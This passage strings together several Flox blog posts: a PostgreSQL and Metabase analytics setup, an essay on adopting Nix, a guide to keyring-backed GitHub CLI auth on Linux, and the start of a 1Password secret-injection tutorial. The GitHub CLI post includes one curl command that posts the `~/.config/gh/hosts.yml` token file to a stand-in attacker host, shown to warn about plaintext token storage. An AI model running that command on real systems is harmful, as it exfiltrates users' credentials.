system. To `rm -rf` your project repo is to completely purge this environment from your system. More to the point, it also demonstrates why **dev-time reproducibility** matters. Building out a real ETL pipeline, creating and refactoring a star schema, or debugging against real-world data in a production-grade database is the kind of iterative, run-and-debug work that grinds to a halt if your environment isn’t reproducible. Let’s get down to the nitty gritty. ## Composing a DIY BI and analytics stack with Flox To create our combined **`metabase-postgres`** environment, we’ll take advantage of Flox’s [composability](https://flox.dev/docs/concepts/composition/) feature. This gives us a way to combine and orchestrate discrete Flox environments into _multi-environment runtimes_—in this case, by composing pre-built Flox [example environments](https://flox.dev/environments/) for PostgreSQL and Metabase. Note: To compose environments, we’ll need to use Flox version 1.4 or later. Let’s create a new Flox project environment and get started: ``` $ mkdir metabase-postgres $ cd metabase-postgres $ flox init ``` Now let’s run **`flox edit`** so we can define the Flox environments we’ll compose as part of a runtime. ``` # Flox manifest version managed by Flox CLI version = 1 [install] [vars] PGHOSTADDR = "127.0.0.1" PGPORT = "15432" PGUSER = "pguser" PGPASS = "pgpass" PGDATABASE = "iowa_liquor_sales" [include] environments = [ { remote = "flox/postgres" }, { remote = "flox/metabase" } ] [services] postgres.command = "postgres -D $PGDATA -c unix_socket_directories=$PGHOST -c listen_addresses=$PGHOSTADDR -p $PGPORT" metabase.command = "metabase" [options] systems = [ "aarch64-darwin", "aarch64-linux", "x86_64-darwin", "x86_64-linux", ] ``` The Flox manifest above is the **`composing`** environment: this is where we define the **`included`** environments. We define **`included`** environments in the new **`[include]`** section of the manifest, as above. If we want to use **`included`** environments as is, we essentially just need this section: ``` [include] environments = [ { remote = "flox/postgres" }, { remote = "flox/metabase" } ] ``` This gives us pre-configured local PostgreSQL and Metabase instances based on Flox’s example environments. Anything we define explicitly in the manifest of the **`composing`** Flox environment _overrides_ equivalent logic defined in the manifests of the **`included`** Flox environments. For this use case, we need to customize some of the environment variables in our **[vars](https://flox.dev/docs/reference/command-reference/manifest.toml/#vars)** section, so we do that in the **`composing`** environment’s manifest. If we needed to, we could hard-code custom environment **`[vars]`**, **[hook](https://flox.dev/docs/reference/command-reference/manifest.toml/#hook)** and **[profile](https://flox.dev/docs/reference/command-reference/manifest.toml/#profile)** logic, and **[services](https://flox.dev/docs/reference/command-reference/manifest.toml/#services)** definitions specifically for this composed environment. As it is, both examples will work with little modification. ## Activating the composed Flox environment Let’s save our changes in **`flox edit`** and then run **`flox activate -s`** to fire up the **`composing`** environment. Once the PostgreSQL bootstrapping completes, we can run **`flox list -c`** to view the merged manifest for this environment. I’ll tease just a few lines of the merged manifest below: ``` [install] gum.pkg-path = "gum" metabase.pkg-path = "metabase" postgresql.pkg-path = "postgresql_16" [vars] MB_ANON_TRACKING_ENABLED = "true" MB_CHECK_FOR_UPDATES = "true" PGDATABASE = "iowa_liquor_sales" PGHOSTADDR = "127.0.0.1" PGPASS = "pgpass" PGPORT = "15432" PGUSER = "pguser" [hook] on-activate = ''' export PGDIR="$FLOX_ENV_CACHE/postgres" export PGDATA=$PGDIR/data export PGHOST=$PGDIR/run export PGCONFIGFILE="$PGDIR/postgresql.conf" export LOG_PATH=$PGHOST/LOG export SESSION_SECRET="$USER-session-secret" export DATABASE_URL="postgresql:///$PGDATABASE?host=$PGHOST&port=$PGPORT" ``` The **`composed`** environment merges and smoothly [sublates](https://plato.stanford.edu/entries/hegel-dialectics/#:~:text=sublate) both its own logic and logic from the **`included`** environments. The original **`[include]`** definitions are not displayed in the merged manifest. That’s it. Our composed Flox environment is ready to use. In fact, you can even pull it from my FloxHub: ``` flox pull –copy barstoolbluz/metabase-postgres ``` This is how simple it is to create a composed Flox environment for running PostgreSQL and Metabase. ## Creating a real-world composed environment for BI and analytics Let’s look at a more advanced example involving a PostgreSQL database with real-world retail data. For this example workflow, we’ll use a [public data set](https://data.iowa.gov/Sales-Distribution/Iowa-Liquor-Sales/m3tr-qhgy/about_data) curated by the state of Iowa’s Department of Revenue, Alcoholic Beverages division. But to avoid sticking Iowa taxpayers with the tab for unexpected data egress charges, we’ve made this dataset available via Google Drive. You can get the environment used in this workflow by running: ``` git clone https://github.com/barstoolbluz/metabase-postgres ``` This creates a local copy of a GitHub repo containing both a Flox environment and the scripts you’ll need to: - Create your `iowa_liquor_sales` database; - Download the `iowa-liquor-sales.csv` dataset (~7GB); - Import the dataset into PostgreSQL. You can get the `iowa-liquor-sales.csv` dataset from Google Drive by running the included `fetch.sh` script. This environment includes a built-in bash package, so running `bash -c fetch.sh` will work across any shell. I've also defined logic for Bash, zsh, and fish that aliases (Bash) or wraps (zsh, fish) this script. Running it is as simple as typing `fetch` and pressing `Enter`. ## Populating the PostgreSQL database Now that you’ve got the dataset, you’re ready to import it into PostgreSQL. The `postgres-metabase` GitHub repo provides a pre-configured but empty PostgreSQL database named `iowa_liquor_sales`. We’ll use the `populate-database.sh` script to define our data mart's table and columns, and populate them using PostgreSQL’s `COPY` command. I've created alias and wrapper logic for this, too: just type `populate`, hit `Enter`, and your database should start loading. **Note**: If you download the CSV directly from the State of Iowa’s website instead of using the provided Google Drive link, be aware that line 21,572,929 contains an error that causes the load to fail. You can fix it with the following command:: ``` sed -i '21572929s/x904631/904631/' iowa_liquor_sales.csv ``` Loading could take a bit of time. On a 32-core / 64-thread desktop, it runs in under 40 seconds. On a new-ish laptop, it takes just under four minutes. However long it takes, once it’s finished, you’re ready to fire up Metabase. ## Configuring Metabase If you’ve been working with BI and analytics for more than just a minute, Metabase makes the stuff we were using just 10 years ago seem … barbaric. Not quaint: _barbaric_. Let’s briefly walk through how to set up Metabase so we can use it to query against our local PostgreSQL data warehouse. This is trivially easy. First, open up a web browser and paste in the following URL: ``` http://localhost:3000 ``` If `localhost` doesn’t work, you can try `127.0.0.1` or even your hostname. (Some Linux platforms, like Linux Mint, default to `127.0.1.1`, for reasons unknown to me.) That should open up the Metabase welcome screen: Clicking the “Let’s Get Started” button takes you to an intuitive user-creation wizard. Next is the “Add your data” wizard. Metabase actually supports dozens of data sources, which you can expose by clicking the “Show more options” button. Because we’re using PostgreSQL, we’ll go ahead and click on Slonik, the PostgreSQL elephant mascot. This opens up an intuitive database configuration wizard. The defaults for connecting to this database are as follows; just configure them and click “Connect database.” ``` Display Name = Hostname = Localhost Port = 15432 Database name = iowa_liquor_sales Username = pguser Password = pgpass Schemas = All ``` That’s it. Metabase should be configured to work with your PostgreSQL retail data warehouse! Now let’s put it to use. ## Using Metabase On first run, Metabase offers a battery of basic analytics you can run against your data. The data model we’re using is pretty basic (see **Building the Perfect DBeast**, below), so there’s not much to show here: “A look at Iowa Liquor Sales,” provides a general overview (with up to three selectable fields) of the data set. Let’s try running an ad hoc query. This is as simple as clicking the blue “+New” box in the top-right corner of the Metabase UI and selecting “>_SQLquery” from the drop-down menu. This opens up a window where you can author (or paste) SQL logic. We’ll query as to how many top-shelf bottles of Scotch, bourbon, tequila, cognac, and vodka were sold in the state of Iowa between 2012-2025. Blah: a table view. It’s useful and informative, but tells us little at first glance. Let’s visualize it: Six bottles of Pappy Van Winkle bourbon sold over a 12 year period! One last ad hoc query: How about college standbys like Jägermeister and Goldschlager? Are they still popular? If we enriched our dataset with census data and enabled PostgreSQL GIS extension, we could do some neat things in terms of correlating sales of both with college campuses. This is a heavy lift, however, for a guide like this, so let’s instead look at preferences across counties. The verdict: Basically every Iowa county strongly prefers Jägermeister to Goldschlager! Who knew? Before we wrap up the usage walk-through, let’s briefly explore Metabase’s dashboarding capabilities. Let’s say you’re obsessed with sales of Pappy Van Winkle and want to know as soon as that seventh bottle gets sold. You have a saved SQL query you run a few times a day … so why not put it in your dashboard? You can start by clicking “Save” in the top right-corner of the Metabase UI, complete the “Save new question” wizard, and then click “Yes please!” in response to the “Saved! Add this to a dashboard?” prompt. Select the dashboard you’d like to add it to, and then you’re given a chance to see it in context: ## Building the perfect DBeast The included `populate-database.sh` script creates a database table that mirrors the structure and contents of the CSV file, without optimizing for query performance. Rather, it’s designed for rapid database loading. With a basic data model of this kind, ad hoc SQL queries—and complex [Metabase models](https://www.metabase.com/docs/latest/data-modeling/models) especially—can take a long time to run. So I put together a more production-worthy version: a multi-stage Python ETL pipeline that builds a proper star schema—complete with dimension and fact tables, type conversions, geospatial conversion via PostGIS, chunked processing, parallel execution, checkpointing, error handling … you get the idea. This is _way_ too heavy-duty for a guide like this! But I’m including it because it demonstrates why **dev-time reproducibility** is essential. Creating this pipeline took me a few days of running, debugging, and fixing Python code, testing and retesting against a local PostgreSQL instance. It’s the kind of iterative work that grinds to a halt when you add a dependency that breaks your environment in some weird, hard-to-debug way. _Unless_ you’re working in a reproducible dev environment—where packages can’t conflict because they’re built and stored in isolated paths, allowing multiple versions of the same dependencies to coexist. ## Iterating on schema and ETL, not your dev environment Say I have a Flox environment that I use solely for Python-related DBMS work. I invoke this environment whenever and wherever I want by taking advantage of two of Flox’s killer features: **one**, [remote activation](https://flox.dev/docs/tutorials/sharing-environments/?h=remote+act#directly-activating-a-remote-environment); **two**, [layering](https://flox.dev/docs/tutorials/layering-multiple-environments/?h=layer) ``` $ flox activate -r barstoolbluz/python-postgres ``` In this pattern, I remotely activate my `python-postgres` Flox environment and layer it on top of my `postgres-metabase` environment. This way I’m able to work on my local system, with transparent access to local tools, data, secrets, aliases, and so on. Even better, I don’t have to configure container networking or bind mounts between the container runtime and the host. And I don’t have to penetrate a container or ssh into a VM to install missing dependencies, add or change environment variables, inject secrets, etc. I get all the basic Python tools and requirements I need when I’m working with databases like PostgreSQL, including: ``` pip.pkg-path = "python312Packages.pip" gum.pkg-path = "gum" zlib.pkg-path = "zlib" # required for building, compiling, and using psycopg2 gcc-unwrapped.pkg-path = "gcc-unwrapped" # required for building and compiling psycopg2 sqlalchemy.pkg-path = "python312Packages.sqlalchemy" alembic.pkg-path = "python312Packages.alembic" ``` If I need a different version of Python, I can just edit the Flox `python-postgres` environment’s manifest. If I need to add Python or global dependencies, I can install them imperatively (using **`flox install`**) without blowing up my environment … or my system. ## Wrapping up My workflow involves the following steps: - Running `schema-creation.py` to instantiate a star schema data model in my `iowa_liquor_sales` database; - Debugging `schema-creation.py` to fix DDL issues and Python-specific errors in logic; - Running `import.py` to extract and transform data from the CSV, loading it into `iowa_liquor_sales`; - Debugging errors in import.py across ~100 runs as data / logic / assumptions change; - Running unit tests to validate that the database is correctly populated and queryable. Both `import.py` and its associated `schema-creation.py` script are located in the `./resources` folder in the GitHub repo. The `import.py` script still isn’t _quite_ where I’d like it to be, but it works—queries are (on average) 300%-400% faster! The following screenshots show the same query—used to compare sales performance for Jägermeister, Goldschlager, and Fireball Cinnamon Whisky across five dimensions: `total sales (USD)`, `volume (liters)`, `bottles sold`, `price per bottle`, and `dollars per liter`. The first shows the non-optimized data model (query runtime: 20s); the second, below, shows the optimized version (runtime: 5.1s). One final note: once it’s time to ship this environment, Flox gives you several options. You can: - **Bake it into a container**. Running **`flox containerize`** bakes the environment into a container image so you can push it to a registry; - **Push it to GitHub**. This gives you your code and runtime dependencies in one place. - **Push it to FloxHub**. The easiest way to share. Users just **`flox pull`** and run locally. No matter how you ship—even to serverless platforms like [AWS Lambda](https://flox.dev/blog/flox-and-aws-building-testing-and-deploying-lambda-functions-with-flox-and-aws-sam/)—Flox fits into your workflow. ## Build wherever you work. Run wherever you need Flox makes it simple to build and ship a runtime environment for data work. You can build locally, on your own system, in your `$HOME` shell, with direct access to local tools, data, env vars, secrets, and other resources. You can add or remove dependencies as needed, up to and including activating required tools or frameworks on-demand—all without changing your system-wide configuration, or modifying anything in your `$HOME`. Flox permits a declarative approach to defining—and changing—runtime software. For example, This guide uses Postgres, but Flox also offers a pre-built example environment for MariaDB (MySQL). Just run **`flox pull --copy flox/mysql`** to start building your own MariaDB/Metabase BI and analytics environment. Don’t want to use PostgreSQL _or_ MariaDB? How about building locally for Aurora in AWS? Flox has a LocalStack environment you can use for that as well. Just run **`flox pull –copy flox/localstack`** and start customizing. Intrigued? Flox is free to [download](https://flox.dev/get) and uses a syntax similar to `git` and `npm`, so it's [easy to pick up and master](https://flox.dev/docs/). Why not check it out? Title: The Experienced Novice Dives into Nix Source: https://flox.dev/blog/the-experienced-novice-dives-into-nix/ Date: 2025-03-26 Category: guide # The Experienced Novice Dives into Nix Every new abstraction we add—containers, microservices, serverless—solves one problem but creates others. This is the story of how I discovered Nix and learned to love a deterministic approach to building software. Users new to Nix often feel as if they’re struggling to stay afloat in the deepest of Olympic diving pools. They might not be Olympic divers, but they’re still world-class swimmers—they should at least be able to tread water, right? This was my experience. I've led and scaled engineering teams with Caterpillar, Puppet, and CircleCI, driving platform engineering, SRE, and core backend systems with the latter two. At Puppet, I created packages and packaging systems for basically every Unix-like OS that’s ever existed, some of which you probably haven’t heard of. When it comes to packaging software, I am certainly not a novice. But when I first discovered Nix, I felt like a strong swimmer being pulled under by tidal forces I couldn’t quite grasp, gasping the same question almost every newcomer asks: "Why is this so complicated?" Turns out, this was both a my-problem and, if we’re being honest, a Nix-problem too. ## We’re doing it wrong The first question I found myself asking was: “Why Nix?” Why not something else? Asking this question forced me to confront an inconvenient truth: Given how most teams ship software, _something else always begets something else_. Solving one problem always exposes two or three more. So we “solve” these new problems by layering on _another_ tool, _another_ framework, _another_ abstraction. Our stack gets deeper—but never, ever simpler. Eventually I realized: _The approach itself is the problem_. Whether it’s containers for portable runtimes, microservices for modular architectures, or serverless for event-driven scaling, each layer is great at solving for aspects of the modern SDLC—isolating dependencies, distributing loads, scaling on-demand—but brings new challenges too. Suddenly, each abstraction requires its own observability or debugging layers just to keep track of what’s running where. Nix, by contrast, gives us a unified build system we can use to package and deploy software. Rather than relying on a lattice of layered abstractions (including layer upon layer of debugging scaffolding), Nix _specifies every build input explicitly_ and isolates builds from the host system or runner. It eliminates the wrapper scripts, ad-hoc Dockerfiles, and CI glue we rely on just to make builds repeatable. Nix doesn’t eliminate the need for an observability layer, but _does_ reduce the need to instrument the build and deployment pipeline. Because the system is reproducible and isolated by design, fewer things go wrong in non-obvious ways, and you don’t have to build scaffolding just to understand what changed. ## So what’s different about Nix? That's when I realized Nix is taking a big swing—aiming to deliver three huge benefits: **Deterministic builds, reproducible results**. Traditional packaging tools deliver prebuilt binaries that install into a shared system. They rely on distribution policies, shared libraries, and filesystem standards to keep things compatible and operational. Because Nix starts with the build, every input—sources, compilers, flags, environment variables—is declared explicitly. Nix builds run in isolation, and outputs under a path containing a hash of the build instructions. The goal is reproducibility: the same inputs give the same outputs. **Cross-platform portability by default**. Because Nix builds are fully declared—sources, tools, and dependencies—they’re not tied to any particular architecture or OS. Need to build something for ARM on an x86 box? Fine. Want the same environment on macOS and Linux? Also fine. You’ll hit edge cases, but the model doesn’t care—it’s not tied to a particular platform. If the derivation supports it, it just works. **Build isolation unlocks lots of good things**. Nix’s strict isolation model can be disorienting at first—nothing lands in the global namespace, and you can’t assume shared paths. But that’s what makes Nix's binary cache model reliable. Because Nix builds are isolated and fully described, if the exact output already exists in a trusted binary cache, Nix can skip the local build and fetch the result directly. This makes it easy to share build artifacts across teams or CI pipelines. If one runner builds it, others can reuse the result without rebuilding. You can also push builds to a remote cache from CI, or offload builds to remote builders when local resources are limited. Everything Just Works across the SDLC. Given all this, adopting Nix seems like a no-brainer, right? Well … not exactly. ## Unlearning what you’ve learned When you start out with Nix, you need to learn to unlearn a lot of what you’ve learned. That’s because Nix completely inverts the conventional way of doing things. For example, Nix throws out pretty much everything you think you know about packaging and installing software. The FHS? Gone. Traditional package managers install files into shared paths like `/usr/bin` or `/usr/lib`, adhering to system-wide conventions. Nix ignores those. It builds everything into `/nix/store` and creates per-user environments by symlinking relevant store paths—no global installs, no system-wide mutation. That changes how you think about installing software, too. In Nix, you’re _not really installing anything_—you’re declaring what should be _available_ in an environment. The “install” step kind of goes away. And that’s just the start. In Nix, you don’t begin with a package—you begin with a build. Everything starts with a derivation, the basic building block for Nix software. Inside this, you declare every dependency, compiler flag, environment variable, and so on and so forth. This is great for reproducibility, but it’s … disorienting if you’re used to `apt install` and post-install config. If, like me, you've spent years obsessing about FHS compliance and packaging guidelines, your first experience with Nix can make you feel like you’re drowning in place. This is a pretty common experience. ## A gentler on-ramp to Nix The most common onramp to Nix in the enterprise starts with a single person: the “wizard” who sets up and maintains an org’s entire Nix infrastructure. Problem is, if you’re managing a team of developers (or you’re a VP of engineering responsible for _teams_ of developers), this isn’t a recipe for long-term success. If someone pitched _me_ a deterministic build system that only one internal person knew how to maintain, I’d shut it down. That kind of operational risk isn’t just unacceptable, it’s untenable. Flox changes this risk profile. With Flox, Nix experts can continue using familiar tooling, while their teammates—who probably don’t know Nix—can use Flox, while getting all the benefits of Nix. For those new to Nix, Flox offers a more intuitive entry point and feels much closer to a traditional package or environment manager—tools like `nvm`, `rbenv`, or Python’s `venv`s. Flox drops right into existing workflows, meeting developers and operators where they are. Sharing a Flox environment is as simple as **`flox push**`-ing it to FloxHub, or **`git push`**-ing it and its project code to a Git remote. Teammates can **`flox pull`** or **`git clone`** environments, and these same environments can be consumed by your CI runner. And if you need to produce a container artifact, either locally or in CI, you can use **`flox containerize`** to export the environment as an image before pushing it to a registry. ## Nix, but different Flox gives you Nix with a twist: Nix begins with the _build_, Flox begins with the _environment_. A Flox environment is a declarative collection of packages, env vars, hooks, functions, and services. If that sounds a little bit like Docker Compose, it’s because the goal is similar: defining a portable, runnable context. But unlike containers or multi-container runtimes, Flox environments are deterministic and fully declarative. They aren’t susceptible to the non-determinism you get with containers—things like image drift, mutable state, and caching quirks. Flox environments are portable across teams and platforms; if I’m on Linux and you’re on macOS, we each use _the same environment definition_, and Flox just resolves platform-specific differences at run time. Any developer, not just the in-house Nix guru, can spin up the exact same dev, test, or prod setup … anywhere. Instead of using a domain-specific language, you declare Flox environments using TOML: packages, build steps, functions, environment variables—all are captured in a Flox environment’s manifest. This becomes the source of truth for how the environment is built and run. Here’s the genius part. You reuse the _same_ Flox environment across all your workflows, so you don’t need multiple layers of tooling just to bridge local development, CI, and prod. This lets you avoid the layering problem that’s endemic across platform engineering because by taking a radically different approach: a single, portable definition that runs on Linux and macOS—whether in local dev, CI, or prod. ## Flox Helps Bring Nix to the Enterprise Flox isn’t trying to be Nix++—or even a better version of Nix: The goal isn’t to _replace_ Nix, but to make it easier to solve real-world SDLC problems by building on top of Nix as a foundation. You can start however you like with Flox. In local dev, Flox gives your teams controlled, reproducible environments that don’t rely on VMs or container runtimes. In your CI pipelines, Flox frees you from having to create and maintain multiple layers just to set up your runtime environment. With Flox, you can trim some of the tool and observability layers you use In both CI _and_ prod: a single call to **`flox activate`** pulls in the declared version of tools, libraries, and env vars you need. Your runtimes Just Work. Flox (and Nix) effectively collapse several layers of build scaffolding into one reproducible input. I shared these experiences with Nix and Flox during a talk at [Planet Nix](https://planetnix.com) in March 2025. Planet Nix was an excellent gathering of users and developers with all levels of experience. You can watch the video here: Want to know more? Flox is free to [download](https://flox.dev/get) and takes seconds to install. Its CLI semantics are similar to tools like `npm` or `pip`, so it’s easy to use. Check it out! Title: Get Secure GitHub CLI Auth You Can Take with You Anywhere Source: https://flox.dev/popular-packages/get-secure-github-cli-auth-you-can-take-with-you-anywhere/ Date: 2025-03-21 Category: tutorial # Get Secure GitHub CLI Auth You Can Take with You Anywhere The GitHub CLI gives you a way to perform most GitHub-related tasks in your terminal. Get it with a prebuilt Flox environment wired for transparent auth with GitHub. This is a guide for Flox and the GitHub CLI, the command-line tool many of us use to interact with GitHub repositories, issues, pull requests, and workflows. Git itself is good enough in most cases—except when you need to create new GitHub repos, manage PRs, or trigger GitHub Actions jobs. That’s where `gh` comes to the rescue, giving you a way to do this in your terminal. You can also use `gh` to clone repos, create and push new repos in one command, fork and wire up remotes, and other tasks. If your workflows span GitHub, `gh` is nigh on an indispensable tool. As a special treat, this package guide features a prebuilt Flox environment wired for slightly more secure, transparent auth with GitHub on Linux platforms. Read on to discover how `gh`—and `gh` running in a Flox environment—can fit into your workflow. ## Keep it like a secret Psst: GitHub CLI has an inconvenient little secret: it isn't always so good at keeping secrets. First, let’s stipulate that GitHub CLI behaves well on macOS systems, using that platform’s secure Keychain service by default. Its behavior on Linux platforms is more of a mixed bag, however. On Linux, `gh`’s default pattern is to _attempt_ to store GitHub OAUTH tokens using a system keyring. If for whatever reason this fails (see below), it persists the token to an unecrypted file, `hosts.yml`, which lives in `~/.config/gh/`. This is … not great. It isn’t just that anyone with access to your system can `cat ~/.config/gh/hosts.yml` to copy your token, it’s that **anything** with similar access can run `curl -s -d @~/.config/gh/hosts.yml https://i-am-trying-to-break-your-heart.io` and exfiltrate your creds. Most popular Linux distros ship with GNOME or KDE Plasma desktop environments. Each environment implements its own version of a keyring provider based on the Secret Service API spec. The problem is that `gh` doesn’t always use this. If it can’t talk to the local keyring (or if the keyring is locked, inaccessible, or just flaky), there’s a chance `gh` will silently fall back to using plaintext storage on Linux platforms. In most cases, you won’t know this has happened unless you investigate yourself: ``` $ gh auth status ✓ Logged in to github.com account barstoolbluz (/home/daedalus/.config/gh/hosts.yml) - Active account: false - Git operations protocol: https - Token: ghp_************************************ - Token scopes: 'admin:enterprise', 'admin:gpg_key', 'admin:org', 'admin:org_hook', 'admin:public_key', 'admin:repo_hook', 'admin:ssh_signing_key', 'audit_log', 'codespace', 'copilot', 'delete:packages', 'delete_repo', 'gist', 'notifications', 'project', 'repo', 'user', 'workflow', 'write:discussion', 'write:packages' ``` The token is redacted in the output above, but running `cat ~/.config/gh/hosts.yml` shows: ``` github.com: users: barstoolbluz: oauth_token: ghp_IAMDESPERATELYSEEKINGANRTX5090 oauth_token: ghp_IAMDESPERATELYSEEKINGANRTX5090 user: barstoolbluz ``` You can build your own portable Flox environment that gives you `gh` auth using a keyring on Linux. Or you can just use the one I built. ## Getting It First you need Flox. If you haven’t already [downloaded and installed it](https://flox.dev/docs/install-flox/), do so now. Once you’ve installed Flox, you can get my environment by running: ``` flox activate -r barstoolbluz/ghcli ``` This activates a FloxHub environment (hence the `-r` switch), which is cached locally. FloxHub environments give you an easy way to try out software without having to modify your global system state. As long as you're "inside" a FloxHub environment, the tools available to it are also available to you—but inaccessible to the rest of your system. Once you exit that environment, the session ends (but the cache remains for next time). You can see what packages are installed in a Flox environment by running **`flox list`**: ``` bat: bat (0.25.0) curl: curl (8.12.1) gh: gh (2.68.1) git: git (2.48.1) gum: gum (0.16.0) openssl: openssl (3.4.1) ``` Now that you have it, why not take it for a test drive? ## Using It On Linux, the Secret Service API is only available if a compatible secrets manager, such as GNOME Keyring or KWallet, is also available. This isn’t guaranteed across all Linux environments. If a local secrets manager isn’t available, this environment falls back on using an encrypted local file, prompting for permission to do so. If you say “No,” the environment exits. First, let’s run a basic `gh` command just to confirm we can actually authenticate with GitHub: ``` $ gh auth status github.com ✓ Logged in to github.com account barstoolbluz (keyring) - Active account: true - Git operations protocol: https - Token: ghp_************************************ - Token scopes: 'admin:enterprise', 'admin:gpg_key', 'admin:org', 'admin:org_hook', 'admin:public_key', 'admin:repo_hook', 'admin:ssh_signing_key', 'audit_log', 'codespace', 'copilot', 'delete:packages', 'delete_repo', 'gist', 'notifications', 'project', 'repo', 'user', 'workflow', 'write:discussion', 'write:packages' ``` Looks good! Next, let’s try cloning a private repository—in this case, the Flox website. Since it’s private, GitHub authentication _has_ to work if the clone operation is to be successful: ``` $ gh repo clone flox/floxwebsite Cloning into 'floxwebsite'... ... ``` Great! Now let’s create a fork of an existing GitHub repo—the FloxDocs website, which is public: ``` $ gh repo fork flox/floxdocs --clone ! barstoolbluz/floxdocs already exists Cloning into 'floxdocs'... … ! Repository flox/floxdocs set as the default repository. To learn more about the default repository, run: gh repo set-default --help ``` Now let’s dig into a workflow that involves creating and running a GitHub Action. First, we’ll create a repo: ``` $ gh repo create wsltoo-ollama --public --clone ✓ Created repository barstoolbluz/wsltoo-ollama on GitHub https://github.com/barstoolbluz/wsltoo-ollfama ``` Then we'll push it to GitHub: ``` $ git push -u origin master ``` Now let’s confirm our repo actually exists on GitHub: ``` $ gh repo view --web Opening https://github.com/barstoolbluz/wsltoo-ollama in your browser. $ Opening in existing browser session. ``` Is it there? Success! **Note:** This environment is intended primarily as a proof-of-concept. It has been verified to work with Gnome Keyring on Debian and Ubuntu, and should also work with KDE Kwallet on these platforms. There’s no reason it won’t work on Red Hat-based Linux platforms, but I haven’t tested it on these. I also haven’t tested it on macOS, although I did have Claude build in some supporting logic for that platform, too. This environment lives in [GitHub](https://github.com/barstoolbluz/ghcli), so if you find and fix any bugs, please push a PR. I’ll make sure to implement fixes in the canonical version on FloxHub, too. ## Summary You probably know the spiel by now. GitHub CLI is just one of 215,000 packages you can find in the Flox Catalog, with millions of historical package-version combinations. (Running **`flox show gh`** tells me the Flox Catalog has 82 different versions of GitHub CLI; you can [search for yourself](https://hub.flox.dev/packages) if you’re curious.) You can use Flox to build powerful, portable environments that run and behave the same way everywhere—whether across OS platforms and architectures, or the complete SDLC, from local dev to CI to prod. Selah—I give you … The Weekend! Title: Get Your Preferred Secrets Manager in a Secure Cross-Platform CLI Toolkit Source: https://flox.dev/blog/get-your-preferred-secrets-manager-in-a-portable-cross-platform-cli-toolkit/ Date: 2025-03-18 Category: guide # Get Your Preferred Secrets Manager in a Secure Cross-Platform CLI Toolkit You can create a Flox environment with built-in, transparent auth via a third-party secrets manager, giving you CLI workflows that work the same way everywhere—locally, in CI, and in prod. Why store credentials locally when you can fetch them at runtime using your preferred secrets manager? Better yet, why not _run the same environment everywhere_, from local development to CI to production? Persisting credentials in unencrypted files or system keyrings is a common pattern in local development, but it doesn’t scale to CI or production. Unencrypted storage is a known security risk, while keyrings are tied to specific platforms (like [Keychain](https://en.wikipedia.org/wiki/Keychain_(software)) on macOS) or depend on desktop user sessions, making them a non-starter for headless environments like CI and prod. A better pattern involves using a third-party secrets manager to retrieve credentials _ephemerally_, at runtime, injecting them only as needed so they aren’t persisted beyond the process using them. This article walks through a cross-platform workflow spanning local dev, GitHub, and AWS to show how you can create a portable environment with built-in, transparent auth via a third-party secrets manager. This gives you CLI workflows that work the same way everywhere—whether you're running locally, in CI, or in prod. ## A better, more secure pattern for managing secrets If you’re working on your local system with tools like Git (`git`), GitHub CLI (`gh`), and the AWSCLI2 (`aws`), there’s a good chance at least one of them is persisting credentials to unencrypted files, exporting them as env vars, or otherwise handling them in ways that would cause a CISO to cringe. The AWSCLI2 and GitHub CLI do this by default, storing unencrypted tokens in `~/.aws/credentials` and `~/.config/gh/hosts.yml`, respectively. If credentials are sitting in unencrypted files, it’s just a matter of time before they end up in a repo, a log, or a build artifact—propagating silently from there. So for GitHub, AWS, and other services, I use a hardened secrets manager like 1Password, HashiCorp Vault, or Doppler to fetch and inject credentials at runtime—_without_ storing them on disk or exposing them as env vars. The good news is that each of these CLI tools is available in the Flox Catalog! The following walk-through showcases 1Password as an exemplar, because this is what we use internally at Flox. But you can easily build an equivalent Flox environment that works with any other secrets manager that supports a comparable fetch-and-inject pattern. These include: - **1Password CLI**. Uses `op run` to inject secrets into CLI commands; - **HashiCorp Vault CLI**. `vault exec` runs a command with secrets injected at runtime; - **Doppler**. Like 1Password, uses `doppler run` to inject secrets into CLI commands. ## How this pattern works With 1Password CLI, `op run` pulls secrets at runtime and injects them into CLI commands like `gh`. The overall pattern looks like this: - The `op run` command executes in an ephemeral subshell; - Secrets are retrieved directly from 1Password and exported as environment variables; - They’re available _in the ephemeral subshell_ for as long as it exists; - When the command finishes executing, the subshell itself is destroyed. I built a proof-of-concept Flox environment that fetches GitHub, AWS, and other tokens from my 1Password vault and makes them available to `op run` as environment variables, which the GitHub CLI uses for authentication. Secrets in this Flox environment are available only for the duration of the `op run` subshell—and _this subshell itself_ runs as a child process of the Flox environment. This environment wraps `gh`, `git`, and `aws` like so: ```sh # gh wrapper function gh() { op run --session "$OP_SESSION_TOKEN" --env-file <(echo "GITHUB_TOKEN=op://$OP_GITHUB_VAULT/$OP_GITHUB_TOKEN_ITEM/$OP_GITHUB_TOKEN_FIELD") -- gh "$@"; } # git wrapper function git() { if [[ "$1" =~ ^(push|pull|fetch|clone|remote)$ ]] && token=$(op read "op://$OP_GITHUB_VAULT/$OP_GITHUB_TOKEN_ITEM/$OP_GITHUB_TOKEN_FIELD" --session "$OP_SESSION_TOKEN" 2>/dev/null); then askpass=$(mktemp) echo -e "#!/bin/sh\necho $token" > "$askpass" chmod +x "$askpass" GIT_ASKPASS="$askpass" GIT_TERMINAL_PROMPT=0 command git -c credential.helper= "$@" rm -f "$askpass" else command git "$@" fi } # aws wrapper function aws() { op run --session "$OP_SESSION_TOKEN" --env-file <(echo -e "AWS_ACCESS_KEY_ID=op://$OP_AWS_VAULT/$OP_AWS_CREDENTIALS_ITEM/$OP_AWS_USERNAME_FIELD\nAWS_SECRET_ACCESS_KEY=op://$OP_AWS_VAULT/$OP_AWS_CREDENTIALS_ITEM/$OP_AWS_CREDENTIALS_FIELD") -- aws "$@"; } ``` The `git` function is larger because `git` normally prompts for credentials interactively or relies on a credential helper. We work around this by retrieving the token dynamically, generating a temporary script that outputs the token, and telling `git` to use that script via `GIT_ASKPASS`. You could easily wrap other CLI tools in a Flox environment—like the Databricks CLI: ```sh databricks() { op run --session "$OP_SESSION_TOKEN" --env-file <(echo -e "DATABRICKS_HOST=op://$OP_DATABRICKS_VAULT/$OP_DATABRICKS_ITEM/$OP_DATABRICKS_HOST_FIELD\nDATABRICKS_TOKEN=op://$OP_DATABRICKS_VAULT/$OP_DATABRICKS_ITEM/$OP_DATABRICKS_TOKEN_FIELD") -- databricks "$@"; } ``` These tools, along with dozens of others—like the Snowflake CLI, Azure CLI, Google Cloud Platform SDK, Terraform CLI, OpenStack CLI, and so on—are available via the Flox Catalog. ## Transparent auth for cross-platform workflows Now let’s see how this works in a cross-platform workflow. We’ll use a Flox environment that gives us `aws`, `gh`, Node.js, and other tools _along with 